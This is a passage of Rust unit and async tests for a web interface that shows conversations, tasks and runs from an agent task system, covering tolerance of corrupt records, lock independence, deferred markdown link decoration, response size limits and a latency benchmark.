26257        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26258        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26259        std::fs::write(&path, "broken").unwrap();
26260        assert!(ui.find_task_for_run("run-b").is_err());
26261        std::fs::write(&path, bytes).unwrap();
26262        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26263        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26264        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26265    }
26266
26267    #[tokio::test]
26268    async fn conversation_core_is_independent_of_unreadable_related_history() {
26269        let home = tempfile::tempdir().unwrap();
26270        let ui = delta_test_ui(home.path());
26271        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26272        std::fs::create_dir_all(ui.queue.root()).unwrap();
26273        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26274        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26275            .await
26276            .unwrap();
26277        assert_eq!(core.talk.id, id);
26278        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26279    }
26280
26281    #[test]
26282    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26283        let home = tempfile::tempdir().unwrap();
26284        let ui = delta_test_ui(home.path());
26285        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26286        let directory = home.path().join("workers/jobs/abcdef");
26287        std::fs::create_dir_all(&directory).unwrap();
26288        let job = crate::worker::Job {
26289            id: "abcdef".into(),
26290            sequence: 1,
26291            kind: "chat".into(),
26292            key: id.clone(),
26293            payload: serde_json::json!({ "talk": id }),
26294            generation: "test".into(),
26295            version: None,
26296            status: crate::worker::Status::Running,
26297            result: None,
26298            pid: None,
26299            created_at: 0,
26300            finished_at: None,
26301        };
26302        std::fs::write(
26303            directory.join("job.json"),
26304            serde_json::to_vec(&job).unwrap(),
26305        )
26306        .unwrap();
26307        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26308        let store =
26309            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26310        let runtime = tokio::runtime::Builder::new_current_thread()
26311            .enable_all()
26312            .max_blocking_threads(1)
26313            .build()
26314            .unwrap();
26315        runtime.block_on(async {
26316            let (release, held) = std::sync::mpsc::channel();
26317            let (started, ready) = tokio::sync::oneshot::channel();
26318            let occupied = tokio::task::spawn_blocking(move || {
26319                started.send(()).unwrap();
26320                held.recv().unwrap();
26321            });
26322            ready.await.unwrap();
26323            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26324            let bulk = ui
26325                .monitor
26326                .bulk_slots
26327                .clone()
26328                .acquire_many_owned(2)
26329                .await
26330                .unwrap();
26331            let result = tokio::time::timeout(
26332                Duration::from_secs(2),
26333                talk_core(State(ui.clone()), Path(id.clone())),
26334            )
26335            .await;
26336            // Release all blockers before assertions, including on a regression.
26337            drop(store);
26338            drop(bulk);
26339            release.send(()).unwrap();
26340            occupied.await.unwrap();
26341            let _ = secondary.await.unwrap().unwrap();
26342            let Json(core) = result
26343                .expect("transcript must bypass secondary work and the worker store lock")
26344                .unwrap();
26345            assert!(
26346                core.thinking,
26347                "read-only observation retains live worker state"
26348            );
26349            assert_eq!(core.talk.id, id);
26350            let admission_ui = ui.clone();
26351            let (release, held) = std::sync::mpsc::channel();
26352            let (started, ready) = tokio::sync::oneshot::channel();
26353            let admission = std::thread::spawn(move || {
26354                let _lock = admission_ui.talk_turns.lock().unwrap();
26355                started.send(()).unwrap();
26356                held.recv().unwrap();
26357            });
26358            ready.await.unwrap();
26359            let result = tokio::time::timeout(
26360                Duration::from_secs(2),
26361                talk_core(State(ui.clone()), Path(id.clone())),
26362            )
26363            .await;
26364            release.send(()).unwrap();
26365            admission.join().unwrap();
26366            assert!(
26367                result
26368                    .expect("display must not wait behind local admission")
26369                    .unwrap()
26370                    .0
26371                    .thinking
26372            );
26373            assert!(ui.is_thinking(&id));
26374            assert!(ui.is_thinking_observed(&id));
26375            drop(live);
26376            assert!(
26377                !ui.is_thinking_observed(&id),
26378                "a finished lease no longer appears live"
26379            );
26380            assert!(!ui.is_thinking(&id));
26381            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26382            assert!(
26383                ui.is_thinking_observed(&id),
26384                "local admission remains visible"
26385            );
26386        });
26387    }
26388
26389    #[tokio::test]
26390    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26391        let home = tempfile::tempdir().unwrap();
26392        let ui = delta_test_ui(home.path());
26393        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26394        let mut task = Task::new(
26395            "Referenced task".into(),
26396            "Unrelated instruction history".repeat(1024),
26397            home.path().into(),
26398            Source::Human,
26399        );
26400        task.id = "20261019-000000-abcd".into();
26401        ui.queue.put(&mut task).unwrap();
26402        let mut conversation = ui.talks.get(&id).unwrap();
26403        conversation.turns.push(talk::Turn {
26404            sender: Some(talk::Sender::Persona),
26405            who: talk::Who::Agent,
26406            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26407            at: conversation.created_at,
26408            attachments: Vec::new(),
26409            usage: None,
26410            breaks: None,
26411            messages: Vec::new(),
26412            posted_by: None,
26413        });
26414        ui.talks.put(&mut conversation).unwrap();
26415
26416        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26417        let markdown = serde_json::to_value(&core.turn_bodies_md)
26418            .unwrap()
26419            .to_string();
26420        assert!(markdown.contains("\"strong\""));
26421        assert!(markdown.contains("\"table\""));
26422        assert!(markdown.contains("\"bullet_list\""));
26423        assert!(markdown.contains("\"code_block\""));
26424        assert!(!markdown.contains("\"internal_link\""));
26425        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26426        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26427        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26428
26429        // Deferred decoration still resolves the same validated task, without
26430        // touching opaque code blocks or changing the original transcript.
26431        let references = ui.references.for_talk(home.path(), &conversation);
26432        let mut decorated = core.turn_bodies_md[0].clone();
26433        references.markdown(&mut decorated);
26434        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26435        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26436        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26437        assert_eq!(
26438            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26439            conversation.turns[0].body
26440        );
26441    }
26442
26443    #[tokio::test]
26444    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26445        let home = tempfile::tempdir().unwrap();
26446        let ui = delta_test_ui(home.path());
26447        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26448        let mut run = RunState::new(
26449            PathBuf::from("/repo"),
26450            "main".into(),
26451            "01234567".into(),
26452            "Useful run".into(),
26453            Config::default(),
26454        );
26455        run.save_under(home.path()).unwrap();
26456        let mut task = Task::new(
26457            "Related".into(),
26458            "body".into(),
26459            PathBuf::from("/repo"),
26460            Source::Agent {
26461                run: talk_id.clone(),
26462                node: "chat".into(),
26463            },
26464        );
26465        task.runs = vec![run.id.clone()];
26466        ui.queue.put(&mut task).unwrap();
26467        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26468        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26469        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26470        assert!(
26471            run_detail(State(ui.clone()), Path(run.id.clone()))
26472                .await
26473                .is_ok()
26474        );
26475        assert!(
26476            talk_sections(State(ui.clone()), Path(talk_id.clone()))
26477                .await
26478                .is_ok()
26479        );
26480        // Previously indexed corruption must not masquerade as no relationship.
26481        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
26482        assert!(ui.find_task_for_run(&run.id).is_err());
26483        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
26484        ui.queue.put(&mut task).unwrap();
26485        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
26486    }
26487
26488    #[tokio::test]
26489    async fn conversation_sections_omit_large_task_instructions() {
26490        let home = tempfile::tempdir().unwrap();
26491        let ui = delta_test_ui(home.path());
26492        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26493        let mut task = Task::new(
26494            "filed task".into(),
26495            "large instruction ".repeat(65536),
26496            PathBuf::from("/repo"),
26497            Source::Agent {
26498                run: id.clone(),
26499                node: "chat".into(),
26500            },
26501        );
26502        ui.queue.put(&mut task).unwrap();
26503        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
26504        assert_eq!(sections["tasks"][0]["id"], task.id);
26505        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
26506        assert!(sections["tasks"][0].get("instruction").is_none());
26507        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
26508    }
26509
26510    #[test]
26511    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
26512        let home = tempfile::tempdir().unwrap();
26513        let talks = Talks::at(home.path().join("talks"));
26514        seed_talk_at(&talks, "20261019-000001-abcd", "open");
26515        seed_talk_at(&talks, "20261019-000002-abcd", "open");
26516        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
26517        assert!(resolve_talk(&talks, "../outside").is_err());
26518        assert!(resolve_talk(&talks, "abcd").is_err());
26519        assert_eq!(
26520            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
26521            "20261019-000001-abcd"
26522        );
26523    }
26524
26525    include!(concat!(
26526        env!("CARGO_MANIFEST_DIR"),
26527        "/tests/web_latency/baseline.rs"
26528    ));
26529
26530    include!(concat!(
26531        env!("CARGO_MANIFEST_DIR"),
26532        "/tests/web_latency/lists.rs"
26533    ));
26534
26535    #[tokio::test]
26536    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
26537    async fn web_history_latency_measurement() {
26538        use std::time::Instant;
26539        let home = tempfile::tempdir().unwrap();
26540        let ui = delta_test_ui(home.path());
26541        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26542        let mut template = ui.talks.get(&id).unwrap();
26543        template.turns = serde_json::from_value(serde_json::json!([{
26544            "who": "operator", "body": "Show the accumulated work and its current status.",
26545            "at": Timestamp::now().to_string(),
26546        }]))
26547        .unwrap();
26548        std::fs::write(
26549            ui.talks.path_of(&id),
26550            serde_json::to_vec(&template).unwrap(),
26551        )
26552        .unwrap();
26553        let count = std::env::var("MAGI_BENCH_RECORDS")
26554            .ok()
26555            .and_then(|s| s.parse::<usize>().ok())
26556            .unwrap_or(1000);
26557        for i in 0..count {
26558            template.id = format!("20261019-{i:06}-history");
26559            template.pending = "history ".repeat(2048);
26560            std::fs::write(
26561                ui.talks.path_of(&template.id),
26562                serde_json::to_vec(&template).unwrap(),
26563            )
26564            .unwrap();
26565            let mut task = Task::new(
26566                "old task".into(),
26567                "instruction ".repeat(2048),
26568                PathBuf::from("/repo"),
26569                Source::Human,
26570            );
26571            task.id = format!("20261019-{i:06}-task");
26572            ui.queue.put(&mut task).unwrap();
26573        }
26574        for baseline in [true, false] {
26575            for clients in [1, 4] {
26576                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
26577                let mut samples = Vec::new();
26578                for _ in 0..12 {
26579                    let mut jobs = Vec::new();
26580                    for _ in 0..clients {
26581                        let ui = ui.clone();
26582                        let id = id.clone();
26583                        jobs.push(tokio::spawn(async move {
26584                            let start = Instant::now();
26585                            if baseline {
26586                                let response =
26587                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
26588                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
26589                                return (
26590                                    elapsed,
26591                                    elapsed,
26592                                    serde_json::to_vec(&response).unwrap().len(),
26593                                );
26594                            }
26595                            let core = talk_core(State(ui.clone()), Path(id.clone()));
26596                            let secondary = talk_sections(State(ui), Path(id));
26597                            let (first, total) = tokio::join!(
26598                                async {
26599                                    let value = core.await.unwrap().0;
26600                                    (
26601                                        start.elapsed().as_secs_f64() * 1000.0,
26602                                        serde_json::to_vec(&value).unwrap().len(),
26603                                    )
26604                                },
26605                                async {
26606                                    let value = secondary.await.unwrap().0;
26607                                    (
26608                                        start.elapsed().as_secs_f64() * 1000.0,
26609                                        serde_json::to_vec(&value).unwrap().len(),
26610                                    )
26611                                }
26612                            );
26613                            (first.0, first.0.max(total.0), first.1 + total.1)
26614                        }));
26615                    }
26616                    for job in jobs {
26617                        samples.push(job.await.unwrap());
26618                    }
26619                }
26620                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
26621                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
26622                first.sort_by(f64::total_cmp);
26623                total.sort_by(f64::total_cmp);
26624                let n = first.len();
26625                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
26626                println!(
26627                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
26628                    first[n / 2],
26629                    first[(n * 95 / 100).min(n - 1)],
26630                    total[n / 2],
26631                    total[(n * 95 / 100).min(n - 1)],
26632                    samples[0].2
26633                );
26634            }
26635        }
26636    }
26637
26638    #[test]
26639    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
26640        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
26641        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
26642        assert!(APP_JS.contains("function nextRunRequest(id)"));
26643        assert!(APP_JS.contains("function runShell(id, summary)"));
26644        assert!(APP_JS.contains("function nextTaskRequest(id)"));
26645        assert!(APP_JS.contains("function taskShell(id, summary)"));
26646        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
26647    }
26648}